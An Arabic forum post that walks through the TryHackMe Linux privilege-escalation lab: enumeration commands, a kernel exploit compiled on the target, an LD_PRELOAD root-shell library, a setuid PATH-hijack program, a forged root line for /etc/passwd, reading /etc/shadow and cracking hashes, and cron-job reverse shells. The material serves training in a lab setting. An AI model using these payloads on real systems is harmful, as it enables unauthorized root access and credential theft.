




السمعة:
- إنضم2 سبتمبر 2023
- المشاركات 140
- مستوى التفاعل 244
- النقاط 43
اللهم بارك ما شاء الله
الله يزيدك من علمه

Follow along with the video below to see how to install our site as a web app on your home screen.
ملاحظة: This feature may not be available in some browsers.
تحذير: يجب على كل روّاد الشبكة تشغيل برامج الاختراق داخل الأنظمة الوهمية وهي بهدف التعلم وحماية الأعضاء والتوعية بها
السمعة:
السمعة:
ما شاء الله!الـ Privilege Escalationالـ Privilege escalation هي عبارة عن طريقة لزيادة صلاحياتك داخل نظام كمبيوتر معين , يعني مثلاً لو أنت مستخدم عادي وبدك توصل لصلاحيات المدير
![]()
الموضوع مش سهل ولا فيه حلول سريعة كل اشي بعتمد على إعدادات النظام اللي بتحاول تهاجمه يعني مثلاً إصدار الـ kernel والبرامج المثبتة ولغات البرمجة المدعومة وحتى كلمات السر للمستخدمين الآخرين كل هاد بأثر في الطريقة اللي بنستخدمها عشان نوصل لصلاحيات مدير النظام.
الـ Privilege Escalation
الموضوع ببساطة هو انك تبدأ من حساب مستخدم عادي بصلاحيات قليلة وتوصل لحساب بصلاحيات أعلى
تقنيا هو استغلال لثغرة أمنية أو خطأ في التصميم أو إعداد خاطئ في نظام التشغيل أو التطبيق للوصول غير المصرح به للموارد التي عادة ما تكون مقيدة من المستخدمين
ليش الـ Privilege Escalation مهم؟
من النادر جدا في اختبار الاختراق في العالم الحقيقي أن تحصل على وصول مباشر للـ system administrator الـ Privilege Escalation مهم جدا لأنه بسمحلك تحصل على الـ system administrator في النظام
اللي بسمح لك بعمليات زي :
- إعادة تعيين كلمات المرور
- تجاوز ضوابط الوصول لاختراق البيانات المحمية
- تعديل إعدادات البرمجيات
- تفعيل الثبات ( persistence )
- تغيير صلاحيات المستخدمين الحاليين (أو الجدد)
- تنفيذ أي أمر إداري
راح نركز على النقاط التاليه
1. الـ Enumeration وادوات بتعمل Automated Enumeration
2. رفع الصلاحيات بإستخدام الـ Kernel
3. رفع الصلاحيات بإستخدام الـ Sudo
4. رفع الصلاحيات بإستخدام الـ SUID
5. رفع الصلاحيات بإستخدام الـ Capabilities
6. رفع الصلاحيات بإستخدام الـ Cron Jobs
7. رفع الصلاحيات بإستخدام الـ PATH
8. رفع الصلاحيات بإستخدام الـ NFS
9. تحدي عملي لرفع الصلاحيات
الاسئله من TryHackMe | Linux Privilege Escalation
الـ Enumeration وادوات بتعمل Automated Enumeration
نسجل دخول عن طريق الـ ssh
الاسم : karen
الباس : Password1
لما نحصل على وصول إلى أي نظام معين الخطوة الأولى اللي لازم نعملها هي الـ Enumeration أي نحصر ونجمع كل المعلومات الممكنة حول هذا النظام ممكن يكون الك وصول إلى النظام عن طريق استغلال ثغرة أدت إلى الوصول إلى مستوى عالي ( root-level ) أو ممكن اكتشفت طريقة ترسل أوامر باستخدام حساب بـ صلاحيات منخفضة
بتميز اختبار الاختراق عن الـ CTF بأنه ما بنتهي بمجرد الوصول إلى نظام معين أو مستوى صلاحيات محدد للمستخدم , الـ Enumeration أمر مهم جداً خلال مرحلة ما بعد الاختراق تماماً كما هو مهم قبل الاختراق
الـ hostname هو الأمر اللي برجعلك اسم الجهاز اللي متصل عليه وبالرغم إنه هالقيمة بتقدر تتغير بسهولة وتكون سلسلة معاني ( زي مثلاً Ubuntu-3487340239 ) بعض الأحيان ممكن تقدم معلومات عن النظام داخل الشبكة (مثلاً SQL-PROD-01 لجهاز خادم SQL للإنتاج)
الـ uname -a برجعلك معلومات عن النظام وبعطيك تفاصيل أكتر عن الـ kernel اللي بستخدمها النظام هاد بفيد لما تدور على ثغرات محتملة في الـ kernel اللي ممكن تساعدك ترفع صلاحياتك
الـ proc filesystem بعطيك معلومات عن عمليات النظام بتقدر تلاقي proc في أنظمة لينكس كتيرة زي لما نشغل proc/version/ ممكن نشوف معلومات عن إصدار الـ kernel وبيانات إضافية زي إذا كان في مثلاً compiler مثل GCC مثبت فـ هو أداة ضرورية
الـ etc/issue/ هاد الملف عادة بحتوي على بعض المعلومات عن نظام التشغيل بس بتغير بسهولة و أي ملف فيه معلومات عن النظام بتعدل أو بتغير
الـ sudo -l بعرض للمستخدم قائمة بكل الأوامر التي يمكنه تشغيلها بصلاحيات مرتفعة (بمعنى أنه يمكن تشغيلها بصلاحيات الـ root ) باستخدام sudo دون الحاجة إلى توجيه الطلب مباشرة إلى المسؤول الرئيسي الـ root
الـ ls أحد الأوامر الشائعة في لينكس هو الـ ls اللي بيساعدك تشوف محتوى المجلدات والملفات في النظام
الـ id بعرضلك ملخص عن مستوى صلاحياتك بالنظام والمجموعات اللي انت فيها
الـ etc/passwd/ قراءة ملف etc/passwd/ بتكون طريقة سهلة لاكتشاف المستخدمين على النظام , الملف هاد بحتوي على معلومات عن المستخدمين مثل اسم المستخدم ورقمه والمجلد الرئيسي وغيرها
الـ history بعرضلك الأوامر اللي استخدمتها قبل بالنظام وهاد ممكن يفيدك تعرف أيش اللي صار عالنظام قبل
الـ ps Command (أمر ps) هذا الأمر يستخدم في نظام Linux لمراقبة العمليات الجارية , عند كتابة ps في نافذة الـ terminal بعرضلك العمليات الشغاله بالـ shell الحالي
- النتائج التي بعرضها الأمر بتشمل :
- الـ PID : رقم تعريفي فريد لكل عملية
- الـ TTY : نوع الـ terminal المستخدم
- الـ Time : كمية وقت وحدة المعالجة المركزية المستخدمة من قبل العملية
- الـ CMD : الأمر أو البرنامج الذي يتم تشغيله
- يوجد بعض الخيارات المفيدة مثل :
- ps -A : لعرض جميع العمليات الجارية
- ps axjf : لعرض شجرة العمليات
- ps aux : يعرض العمليات لجميع المستخدمين مع معلومات إضافية مثل اسم المستخدم وعدم الانتماء إلى terminal
الـ env Command (أمر env) يُستخدم لعرض المتغيرات البيئية في النظام مثلا متغير الـ PATH ممكن يحتوي على مسارات لبرامج محددة ممكن تفيد لتطوير أو لتشغيل البرامج
باختصار الـ ps و env هما أدوات مفيدة في نظام Linux لفهم ومراقبة العمليات الجارية والبيئة للنظام ويمكن استخدامهما لتحسين أمان النظام وتحديد المشاكل
- تفاصيل إضافية :
- يمكن استخدام معلومات العمليات المسترجعة من ps لمراقبة أداء النظام والكشف عن أي مشاكل
- يمكن استخدام بيانات العمليات لتحديد العمليات الخطيرة أو البرامج اللي ممكن تكون مشبوهة ممكن تساعدنا بتحسين أمان النظام وتحديد نقاط الضعف المحتملة
الـ ifconfig بتعطيك معلومات مفصلة حول واجهات الشبكة على النظام وبينها معلومات مهمة مثل عنوان الـ IP الخاص بالجهاز وعنوان الـ MAC وغيرها من المعلومات اللازمة لتوصيل الجهاز بالشبكة
بالنسبة للنظام المستهدف اللي بالصورة بنلاحظ انه بحتوي على ثلاث واجهات شبكة ( eth0 ، tun0 ، tun1 ) لكن الجهاز اللي بهاجم منه ممكن يكون قادر يوصل فقط لوحدة من هاي الواجهات وهي واجهة eth0 بشكل مباشر أما بالنسبة للواجهات الثانيه ممكن تكون موجودة بشبكات ثانية غير متاحة مباشرة للوصول من الجهاز المهاجم![]()
ممكن نستخدم الامر ip routre لمعرفة إذا كان الوصول متاح للواجهات الشبكية الأخرى غير eth0 من جهاز الهجوم وهاد بساعد بفهم البيئة الشبكية وتحديد إمكانية الوصول إلى أجهزة أخرى بالشبكة
الـ netstat بتخليك تشوف كل اشي عن الإتصالات اللي بالنظام الخاص فيك
يعني مثلاً لو بدك تشوف البورتات اللي فاتحة والاتصالات اللي معمولة تقدر تستخدم الأمر هاد
وإذا بدك تشوف البورتات بس للاتصالات اللي بتستخدم بروتوكولكود:netstat -a
الـ TCP بتستخدم الأمر هاد
الـ UDP بتستخدم الأمر هادكود:netstat -at
لو بدك يعرضلك البورتات اللي جاهزة تستقبل اتصالات يعني فاتحة وهاد بنفع تستخدمه معاه الأمر t عشان يعرضلك بورتات TCP اللي فاتحةكود:netstat -au
لو بدك يعرضلك إحصائيات استخدام الشبكة بروتوكول بروتوكول وهاد بنفع تستخدمه معاه t أو u عشان تقتصر على بروتوكول معينكود:netstat -l
لو بدك يعرضلك الاتصالات مع اسم الخدمة ورقم البروسيس بتستخدم الأمر هادكود:netstat -s
( وبتقدر تستخدمه مع الأمر l عشان يعرضلك البورتات اللي جاهزة تستقبل اتصالات )
كود:netstat -tp
![]()
وبنلاقي عمود اسمه PID/Program name فاضي عشان البروسيس هاد مملوك من قبل مستخدم تاني
بس لو استخدمت الأمر هاد بصلاحيات root بتلاقي العمود بعرضلك بيانات زي 2641/nc (netcat)
![]()
ولو بدك يعرضلك إحصائيات الـ interface بتستخدم الأمر هاد
كود:netstat -i
مثلا بالمثال هاد بنلاقي إن eth0 و tun0 أكتر نشاط من tun1
الاستخدام اللي يستخدم كتير في هو![]()
كود:netstat -ano
- الـ a بعرضلك كل السوكيتات، يعني الاتصالات اللي يتم إنشاؤها والبورتات الفاتحة
- الـ n اللي بتعمله انها ما تحول أسماء الهوستات تخليها ip يعني تعرضلك الـIP مباشرة بدل ما تحاول تجيب أسماء الاجهزه
- الـ o بعرضلك معلومات عن السوكيتات زي الوقت اللي مرت عليها
الأمر find هو أمر أساسي جدا في التصفح والبحث في النظام اللي بتشتغل عليه بساعدك تلاقي معلومات مهمة ممكن ما تكون بتقدر توصللها بسهولة
النماذج اللي تحت هي عبارة عن أمثلة على استخدام الأمر find
الامر هاد عشان نلاقي الملف اللي اسمه في المجلد اللي انت فيه حاليا
كود:find . -name flag1.txt
الامر هاد عشان نلاقي الملف اللي اسمه flag1.txt في المجلد home/
كود:find /home -name flag1.txt
الامر هاد عشان نلاقي المجلد اللي اسمه config في كل النظام
كود:find / -type d -name config
الامر هاد عشان نلاقي ملفات بصلاحيات 777 (ملفات قابلة للقراءة والكتابة والتنفيذ من قبل كل المستخدمين)
كود:find / -type f -perm 0777
الامر هاد عشان نلاقي ملفات تنفيذية ( executable )
كود:find / -perm a=x
الامر هاد عشان نلاقي كل الملفات اللي مالكها فرانك في مجلد home/
كود:find /home -user frank
الامر هاد عشان نلاقي ملفات اللي تم تعديلها في الـ 10 أيام الأخيرة
كود:find / -mtime 10
الامر هاد عشان نلاقي كل ملفات اللي تم الوصول إليها في الـ 10 أيام الأخيرة
كود:find / -atime 10
الامر هاد عشان نلاقي الملفات اللي تم تغييرها في الساعة اللي فاتت (60 دقيقة)
كود:find / -cmin -60
الامر هاد عشان نلاقي الملفات اللي تم الوصول إليها في الساعة اللي فاتت (60 دقيقة)
كود:find / -amin -60
الامر هاد عشان نلاقي الملفات اللي حجمها 50 ميجا بايت
كود:find / -size 50M
يمكن استخدام الأمر هاد مع (+) و (-) عشان نحدد ملفات أكبر أو أصغر من الحجم المحدد
مثال
الامر هاد عشان نلاقي الملفات اللي حجمها اكبر من 100 ميجا بايت
كود:find / -size +100M
ومهم جدا تعرف إن الأمر بعطي أحيانا أخطاء بتخلي الناتج صعب القراءة فـ من الأفضل استخدام الأمر مع
عشان نحول الأخطاء لـ dev/null/ ونحصل على نتيجة أنظفكود:2>/dev/null
يعني بطلعلك المجلدات والملفات اللي بتقدر تكتب فيها أو تشغلها :
الاوامر هاي عشان نلاقي المجلدات اللي بإمكاننا نكتب فيها
كود:find / -writable -type d 2>/dev/null find / -perm -222 -type d 2>/dev/null find / -perm -o w -type d 2>/dev/null
عشان نلاقي أدوات التطوير واللغات اللي مدعومة :
كود:find / -name perl* find / -name python* find / -name gcc*
مثال قصير للبحث عن ملفات فيها بت SUID
الـ SUID بتسمح للملف يشتغل بصلاحيات المستخدم اللي مالكه بدل من المستخدم اللي شغال البرنامج
هاد بفتح فرصة لزيادة الصلاحيات وراح نحكي لقدام عنها اكثر المثال هاد معروض عشان نكمل الكلام عن الأمر find
الامر هاد عشان نلاقي الملفات اللي فيها بت SUID
كود:find / -perm -u=s -type f 2>/dev/null
وايضا اوامر لينكس العامة مفيده لعملية الـ Enumeration
أدوات الـ Automated Enumeration
أدوات الـ Automated Enumeration اللي بتساعدك توفر وقت في عملية الـ Enumeration الأدوات هاي لازم تستخدمها عشان توفر وقت بس خلي بالك إنها ممكن تفوت عليك نقاط تساعدك ترفع صلاحياتك
نوع النظام اللي بتهاجمه هو اللي بيحدد أي أداة لازم تستخدمها مثلا
لو ما كان عندك بايثون مثبت بالنظام اللي بتخترقه ما رح تقدر تشغل أداة مكتوبة بالبايثون لهيك الأفضل إنك تكون ملم بعدة أدوات بدل ما تعتمد على أداة وحدة
الـ LinPeas
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
الـ LinEnum
https://github.com/rebootuser/LinEnum
الـ LES (Linux Exploit Suggester)
https://github.com/mzet-/linux-exploit-suggester
الـ Linux Smart Enumeration
https://github.com/diego-treitos/linux-smart-enumeration
الـ Linux Priv Checker
https://github.com/linted/linuxprivchecker
رفع الصلاحيات بإستخدام الـ Kernel
نسجل دخول عن طريق الـ ssh بالمعلومات المعطاة
اسم المستخدم : karen
الباسورد : Password1
الفكرة إننا نلاقي ثغرة في النظام ونستغلها عشان نوصل لـ صلاحيات أعلى
بنقدر نوصل لـ صلاحيات اعلى إما
أننا نستخدم ثغرة موجودة أو
أننا ندخل على حساب مستخدم ثاني فيه صلاحيات أعلى
الـ kernal هو اللي بدير التواصل بين الاشياء زي الذاكرة في الجهاز والبرامج لكن لازم الـ kernal هاد يكون عنده صلاحيات معينة فلو اكتشفنا ثغرة فيه واستغليناها ممكن نوصل لـ صلاحيات الـ root
الفكره بسيطه بس نعرف اصدار ( نسخة الـ kernal ) وبعدها بندور على كود لثغرة متوافق مع النسخة هاي
بس اكيد ممكن الثغرة تؤدي لتعطل النظام فتأكدوا إنكم مستعدين للمخاطرة هاي قبل ما تحاولوا تنفذو اي ثغرة
للبحث عن كود لثغرات ممكن نستخدم جوجل أو مواقع زي
https://www.linuxkernelcves.com/cves
وممكن كمان تستخدم LES ( Linux Exploit Suggester ) اكيد في احتماليه انه يعطيكم نتائج خاطئة يعني يعطيك ثغرة وهمية أو ما يعطيك أي ثغرات بالرغم إن الـ kernal فيه ثغرات
نصائح:
- تأكد من تحديد إصدار الـ kernal بدقة عند البحث عن ثغرات
- تأكد من فهم كيفية عمل الثغرة قبل تنفيذها
- قد تتطلب بعض الثغرات تفاعل إضافي بعد تشغيلها اقرأ كل التعليقات والتعليمات المرفقة مع كود الثغرة
- بتقدر تنقل كود الثغرة من جهازك للجهاز المستهدف باستخدام SimpleHTTPServer Python module و wget
السؤال
( الحل عن طريق الامر نعرف الاصدار ( uname -a ) )
ثم نجد الـ CVE-2015-1328 ونجد بالموقع
الكود![]()
PoC/CVE-2015-1328/CVE-2015-1328.c at master · DarkenCode/PoC
PoC collection. Contribute to DarkenCode/PoC development by creating an account on GitHub.github.com
بنفتح بايثون سيرفر عشان ننقل الملف على اللينكس اللي سجلناله عن طريق الـ ssh قبل
عن طريق الامر
كود:python3 -m http.server
بعدها بنكتب wget والـ ip زي اللي بالصورة عشانن ننقل الملف على لينكس
بعدها بنحول الملف من c عشان نقدر ننفذه على لينكس عن طريق الامر
كود:gcc CVE-2015-1328.c -o output
بعدها بنشغل الملف وهيك بنكون رفعنا صلاحياتنا وصرنا root
رفع الصلاحيات بإستخدام الـ Sudo
نسجل دخول عن طريق الـ ssh بالمعلومات المعطاة
اسم المستخدم : karen
الباسورد : Password1
الـ sudo هو أمر بسمحلك تشغل البرامج بصلاحية الـ root
لكن ببعض الأحيان بحتاج مسؤولين النظام انهم يعطوا مستخدمين شوية مرونة بـ صلاحياتهم مثلا محلل أمن مبتدئ بحتاج يستخدم Nmap بانتظام
بهاي الحالة بأمكانه مسؤول النظام يسمح لهاد المستخدم بتشغيل Nmap فقط بصلاحيات الـ روت مع الاحتفاظ بمستوى الصلاحيات العادي اللي معاه بباقي النظام
أي مستخدم بإمكانه يتحقق من وضعه الحالي اللي بتعلق بصلاحيات الـ root باستخدام الأمر sudo -l
م
موقع https://gtfobins.github.io
هو موقع رهيب بقدم معلومات عن كيفية استخدام أي برنامج بمتلك صلاحيات sudo عليه
بعض التطبيقات ممكن ما يكون فيها ثغرات معرفوه مثل خادم Apache2
بهاي الحالة ممكن نستخدم ثغرة لتسريب المعلومات باستغلال وظيفة معينة في التطبيق
بالمثال هون عننا الـ Apache2 فيها خيار بدعم تحميل ملفات ممكن نستخدم الامر
f- عشان نحدد ملف
بعض الأنظمة لما نستخدم الامر sudo -l ممكن نشوف فيها خيار اسمه LD_PRELOAD
الـ LD_PRELOAD هي وظيفة بتسمح لأي برنامج يستخدم مكتبات
وفي عننا الـ env_keep إذا كان الخيار مفعل ممكن ننشئ مكتبة مشتركة يتم تحميلها وتنفيذها قبل تشغيل البرنامج لكن لازم نعرف عن خيار LD_PRELOAD انه بتجاهل إذا كانت الهوية الحقيقية للمستخدم مختلفة عن الهوية الفعلية اللي اله
![]()
الخطوات هون لرفع الصلاحيات بنقدر نلخصها كالتالي :
بنتحقق من LD_PRELOAD ( بخيار env_keep ) بنكتب كود C بسيط وبنحوله لملف امتداده so. وبنشغل البرنامج بصلاحيات sudo وبخيار LD_PRELOAD وحدد الملف الـ so.
الكود C هيكون ببساطة عبارة عن الاتي :
كود:#include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("/bin/bash"); }
ممكن نحفظ الكود هاد بإسم shell.c وبنحوله عن طريق الـ gcc إلى ملف امتداده so.
كود:gcc -fPIC -shared -o shell.so shell.c -nostartfiles
ممكن نستخدم الملف هاد عشان نرفع صلاحياتنا على النظام
بنشغله وبنحط معاه sudo
لازم نرفع صلاحياتنا عشان نجاوب على السؤال الرابع
وحده من الثلاث اشياء التي نستطيع تشغيلها هي nano
نذهب الى موقع
GTFOBins
gtfobins.github.io
ونبحث عن nano
ونذهب لقسم الـ sudo
نطبق ما هو مكتوب
مشاهدة المرفق 9699
رفع الصلاحيات بإستخدام الـ SUID
نسجل دخول عن طريق الـ ssh بالمعلومات المعطاة
اسم المستخدم : karen
الباسورد : Password1
الـ SUID اللي هو Set-user Identification و
الـ SGID اللي هو Set-group Identification
هدول بخلوا الملفات تتنفذ بصلاحيات مالك الملف أو مجموعته
وبنلاحظ انه الملفات هاي عندها بت s فوق (هاي معناها انه فيها صلاحيات خاصة)
عشان نعرف الملفات اللي عندها هاي الأذونات بنكتب الأمر
كود:find / -type f -perm -04000 -ls 2>/dev/null
وهو بعرضلك قائمة بالملفات اللي عندها SUID أو SGID
وفي حركة حلوة بتقدر تعملها اللي انك تقارن الملفات اللي طلعت في القائمة هاي مع الموقع اللي سبق وحكينا عنه GTFOBins (من هون : https://gtfobins.github.io) وبتضغط على زر SUID هيك بتفلتر الملفات اللي فيها ثغرات معروفة لما تكون SUID مفعلة![]()
القائمة اللي بنشوفها هنا بتبين إن الملف nano عنده SUID
لما يكون الـ SUID للـ nano مفعلة بتخلينا نقدر نعمل ونعدل ونقرأ الملفات باستخدام صلاحيات صاحب الملف نفسه
واذا كان صاحب الملف هو root يعني احتمال كبير إننا نقدر نقرأ ونعدل ملفات على مستوى صلاحيات أعلى من صلاحيات المستخدم اللي احنا فيه حاليا
بهاي الخطوه عننا خيارين عشان نرفع صلاحياتنا : إما نقرأ ملف etc/shadow/ أو نضيف مستخدم جديد لملف etc/passwd/
وراح نحل على الطريقتين
نقرأ ملف etc/shadow/بنكتب الامر هاد
بظهرلنا محتويات ملف etc/shadow/ وبعدين بنقدر نستخدم أداة اسمها unshadow عشان نعمل ملف نقدر عن طريقه نجيب كلمات السر الخاصة بالمستخدمين عن طريق اداه John the Ripper ( نكسر الهاش )كود:nano /etc/shadow
عشان نقدر نستخدم هاي الاداة لازم يكون عننا ملفين etc/shadow/ و etc/passwd/
باستخدام الأداة unshadow
كود:unshadow passwd.txt shadow.txt > passwords.txt
بعدها عن طريق john بنقدر نعرف الباسوورد او اكثر من باسورد للمستخدمين
الروم هاي بتفيدكم عشان تتعرفوا على الاداة بشكل اكبر
https://tryhackme.com/room/johntheripper0
نضيف مستخدم جديد لملف etc/passwd/
اولا
علما انه معنى الامر هو
الـ passwd هذا الجزء من الأمر يعني أننا بدنا ننشئ كلمة مرور مشفرة
الـ 1- هذا الخيار يحدد استخدام خوارزمية التشفير MD5
الـ salt abood- هذا الخيار يحدد قيمة الملح (salt) التي تُضاف إلى كلمة المرور قبل تشفيرها، حيث abood هو قيمة الملح التي تم تحديدها هنا
الـ pass1 هاي هي كلمة المرور اللي بدك تشفرها
بنضيف هذا السطر على ملف passwd
علما انه كلمه السر للحساب اللي اسمه abood هي pass1
لما نضيف المستخدم (علماً بأننا استخدمنا root:/bin/bash علشان نعطي الشل بصلاحيات root ) بنحتاج نحول للمستخدم هاد وهيك بنكون حصلنا على صلاحيات rootكود:abood:$1$abood$b8GqxlLtummao0MjRxmoA1:0:0:root:/root:/bin/bash
بعدها بنضيف كلمة السر هاي واسم المستخدم لملف etc/passwd/
من هو المستخدم الذي يشارك اسم كاتب كتاب الـ great comic؟
ما هي كلمة المرور للمستخدم 2؟
اولا عن طريق الامر
نأخذ الناتج ونخزنه على جهازنا الاساسي بملف اسمه passwd.txtكود:cat /etc/passwd
ثانيا عن طريق الامر
ملاحظه عند محاوله كتابه الامر
كود:cat /etc/shadow
يعطيك ليس لديك صلاحية
كما بالصورة
لكن عند استخدام الامر
اللي سبق وحكينا عنو " وهو بعرضلك قائمة بالملفات اللي عندها SUID أو SGID "كود:find / -type f -perm -04000 -ls 2>/dev/null
بنلاقي الـ bas64
لذلك بنعرض اللي بداخل الملف shadow عن طريق الامر
نأخذ الناتج ونخزنه على جهازنا الاساسي بملف اسمه shadow.txt
بعدها زي ما حكينا قبل
"
باستخدام الأداة unshadow
كود:unshadow passwd.txt shadow.txt > passwords.txt
بعدها عن طريق john بنقدر نعرف الباسوورد او اكثر من باسورد للمستخدمين
"
بعدها ناحذ قيمه الهاش ونضعها بملف للمستخدم المطلوب معرفة كلمة السر الخاصة فيه
وعن طريق john او hashcat
رفع الصلاحيات بإستخدام الـ Capabilities
نسجل دخول عن طريق الـ ssh بالمعلومات المعطاة
اسم المستخدم : karen
الباسورد : Password1
الـ Capabilities بتساعد على إدارة الصلاحيات بشكل دقيق اكثر
مثلا لو إذا احتاج محلل SOC إلى استخدام أداة تحتاج إلى بدء اتصالات socket المستخدم العادي ما بقدر يعمل هيك لو ما معاه صلاحيات عالية
اذا قدرنا نعدل على الـ Capabilities
هي أسلوب ثاني لمسؤولي النظام بإمكانهم استخدامه لرفع مستوى الصلاحيات لبرنامج أو عملية معينة ( بغير بالبرنامج )
باختصار البرنامج بعمل شغله دون ما يحتاج مستخدم بصلاحيات عالية
بنقدر نستخدم أداة getcap عشان نشوف الـ Capabilities المفعلة عن طريق الامر التالي
كود:getcap -r / 2>/dev/null
لو شغلت الأداة بحساب مستخدم عادي بطلعلك كثير أخطاء فـ الأفضل تحول رسائل الخطأ هاي لملف dev/null/
بنبحث بموقع GTFOBins عن الـ vim وبنحدد بدنا نقرأ ملف بنلاقي ( امر عادي بـ لينكس )
رفع الصلاحيات بإستخدام الـ Cron Jobs
نسجل دخول عن طريق الـ ssh بالمعلومات المعطاة
اسم المستخدم : karen
الباسورد : Password1
الـ Cron jobs هي عبارة عن مهام بتتنفذ بأوقات محددة زي ممكن تكون بتشغل سكريبتات أو برامج فـ بشكل افتراضي بتشتغل بصلاحيات المالك الأصلي مش بصلاحيات المستخدم الحالي اللي مسجل على النظام.
الـ Cron jobs مش مشكلة بحد ذاتها لكن ببعض الحالات ممكن تكون مصدر لاختراق الصلاحيات
الفكرة بسيطة لو فيه مهمة مجدولة بتشتغل بصلاحيات الـ root واحنا قادرين نغير السكربت اللي بتنفذ هيك بشتغل السكريبت بصلاحيات الـ root
إعدادات الـ Cron jobs بتتخزن بملفات crontab عشان نشوف المواعيد اللي بتتنفذ فيها المهام
كل مستخدم على النظام بكون عنده ملف crontab خاص فيه وبقدر يشغل مهام معينة سواء كان مسجل على النظام ولا لأ الهدف مننا نلاقي مهمة Cron job مسجلة من قبل الـ root ونخليها تشغل السكريبت اللي احنا بدنا اياه أفضل اشي ممكن نحطه هو shell
أي مستخدم ممكن يقرأ الملف اللي بنحفظ بالمهام الخاصة بالنظام بـ etc/crontab/
بالـ CTF machines بتكون فيها مهام Cron بتشتغل كل دقيقة أو كل 5 دقايق بس بالعادة بنشوف المهام اللي بتشتغل يوميا أو أسبوعيا أو شهريا في اختبارات اختراق الأنظمة
بنقدر نشوف إن السكريبت backup.sh مُعدل عليه عشان يشتغل كل دقيقة, محتوى الملف ببين سكريبت بسيط بعمل نسخة احتياطية من ملف prices.xls
وطبعا واحنا كمستخدم حالياً قادرين نوصل للسكريبت هاد وطبعا ممكن نعدل عليه بسهولة ونحط فيه reverse shell مع الأمل إننا نصبح بصلاحيات الـ root
السكربت بستخدم الأدوات الموجودة على النظام المستهدف عشان يشغل الـ reverse shell
نقطتين لازم نلاحظهم:
طريقة كتابة الأوامر بتختلف اعتمادًا على الأدوات المتوفرة مثلاً أداة nc ممكن ما تدعم الخيار e- اللي شفناه مستخدم بحالات ثانية الافضل نستخدم reverse shell عشان ما نعرض سلامة النظام للخطر في اختبار الاختراق الحقيقي
الملف بكون بهاد الشكل
وبنشغل ليسنر على جهازنا عشان نستقبل الاتصال
دايمًا يستحق التحقق من الـ Cron tab عشان ممكن يكون فيها فرص سهلة لرفع الصلاحيات
سيناريو ممكن يصير لشركه غير متطلعه على الحماية منيح
مديري النظام بحتاجوا يشغلوا سكريبت معين بشكل منتظم
بعملوا Cron job عشان ينفذوا السكريبت هاد
بعد فترة ما بحتاجو السكريبت هاد وبحذفوه بس ما بنمسح الـ cron job اللي عملوه قبل
فـ نفكر شوي ... مشكلة فعلاً
مثال
المثال هاد بوضح موقف شبيه حيث تم حذف سكريبت antivirus.sh بس الـ cron job لسه موجودة
لو المسار الكامل للسكريبت مش محدد ( زي ما تم عمله للسكريبت backup.sh )
الـ cron بشوف الـ PATH اللي موجودة بـ etc/crontab/ بالحالة هاي بنكون قادرين نعمل سكريبت بإسم antivirus.sh بمجلد اليوزر الخاص فينا والـ cron job بشغله
الملف على النظام المستهدف بنعمله على هاد الشكل ( revers-shell )
اتصال الـ reverse shell الجاية بصلاحيات الـ root
نادر إنك تلاقي سكريبت موجود أو مهمة مرتبطة بـ cron job دايماً بستحق الوقت إللي بتستغرقه عشان تفهم وظيفة السكريبت وكيفية استخدام أي أداة في سياق السكريبت مثلا أدوات زي tar، 7z، rsync ممكن تستغل باستخدام خاصية الـ wildcard الخاصه فيها
كيفية حله
وما ننسى نعدل نخليه هيك
بعدها بنرفع صلاحيات الملف عن طريق الامر
كود:chmod+x backup.sh
وبنستنا شوي
بنبحث عن الفلاق عن طريق الامر
مشاهدة المرفق 9809كود:find / -name flag5.txt 2>/dev/null
عن طريق الامر التالي بظهر الهاش للباسورد للمستخدمين
كود:cat /etc/shadow
وبظهر تحت
مشاهدة المرفق 9811
بنوخذ الهاش وبنحطه بملف
مشاهدة المرفق 9812
بعدها عن طريق john بنقدر نكسر الهاش
مشاهدة المرفق 9813
رفع الصلاحيات بإستخدام الـ PATH
نسجل دخول عن طريق الـ ssh بالمعلومات المعطاة
اسم المستخدم : karen
الباسورد : Password1
إذا كان فيه مجلد عندك وانت عندك صلاحية كتابة فيه ممكن تتلاعب بالتطبيقات وتشغل سكربتات بـ لينكس في اشي اسمه PATH هاد بعرف النظام وين يدور على البرامج القابلة للتشغيل
يعني لو كتبت أمر بالتيرمينال مش مدرج بالشل أو مكتوب بالمكان الكامل النظام ببلش يدور في بمجلدات اللي بالـ PATH
عادة الـ PATH بكون شكلها هيك :
![]()
إذا كتبنا thm بالتيرمينال النظام بدور بالمجلدات هاي عشان يلاقي ملف اسمه thm السيناريو اللي تحت راح يوضحلك أكتر كيف ممكن نستخدم الموضوع هاد عشان نرقي صلاحياتنا
بس هاد كله بعتمد على إعدادات النظام المستهدف فـ تأكد إنك بتقدر تجاوب على الأسئلة اللي تحت قبل ماتجرب
- ما هي المجلدات الموجودة ضمن الـ PATH$ ؟
- المستخدم الحالي عنده صلاحيات كتابة في أي من هاي المجلدات ؟
- هل بنقدر نعدل بالـ PATH$ ؟
- فيه سكربت أو برنامج بتقدر تشغله ويتأثر بالثغرة هاي ؟
عشان نعرض الثغرة بنستخدم السكربت هاد :
C:#include<unistd.h> void main () { setuid (0); setgid (0); system("thm"); }
السكربت هاد بحاول يشغل ملف نظام اسمه thm بس هاد ممكن تعمله بأي ملف نظام آخر
بنجمع السكربت هاد بملف قابل للتشغيل
كود:gcc file.c -o file -w
وبنضيفله SUID bit
chmod u+s file
المستخدم حاليًا عنده وصول للسكربت PATH و SUID bit مضاف له
لما يتم تنفيذ السكربت PATH ببحث عن ملف قابل للتشغيل اسمه thm بالمجلدات المدرجة تحت PATH
إذا كان أي مجلد قابل للكتابة موجود تحت PATH ممكن ننشئ ملف نظام اسمه thm بالمجلد هاد وبنخلي السكربت PATH يشغله
البحث عن مجلدات قابلة للكتابة بسيط جدًا باستخدام أمر
نتيجة هذا الأمر يمكن تنظيفها باستخدام تسلسل بسيط من القص والترتيبكود:find / -writable 2>/dev/null
يمكن تشغيل البحث عن مجلدات القابلة للكتابة لتشمل المجلدات الفرعية
ويمكن استخدام الأمر التالي كبديل
أضفنا grep -v proc للتخلص من النتائج الكثيرة المتعلقة بعمليات التشغيلكود:find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
![]()
للأسف المجلدات الفرعية داخل الـ usr/ غير قابلة للكتابة
المجلد اللي بكون من الأسهل الكتابة فيه هو على الأرجح tmp/
لكن لانه الـ tmp/ مش موجود بالـ PATH بنضيفه عن طريق الامر
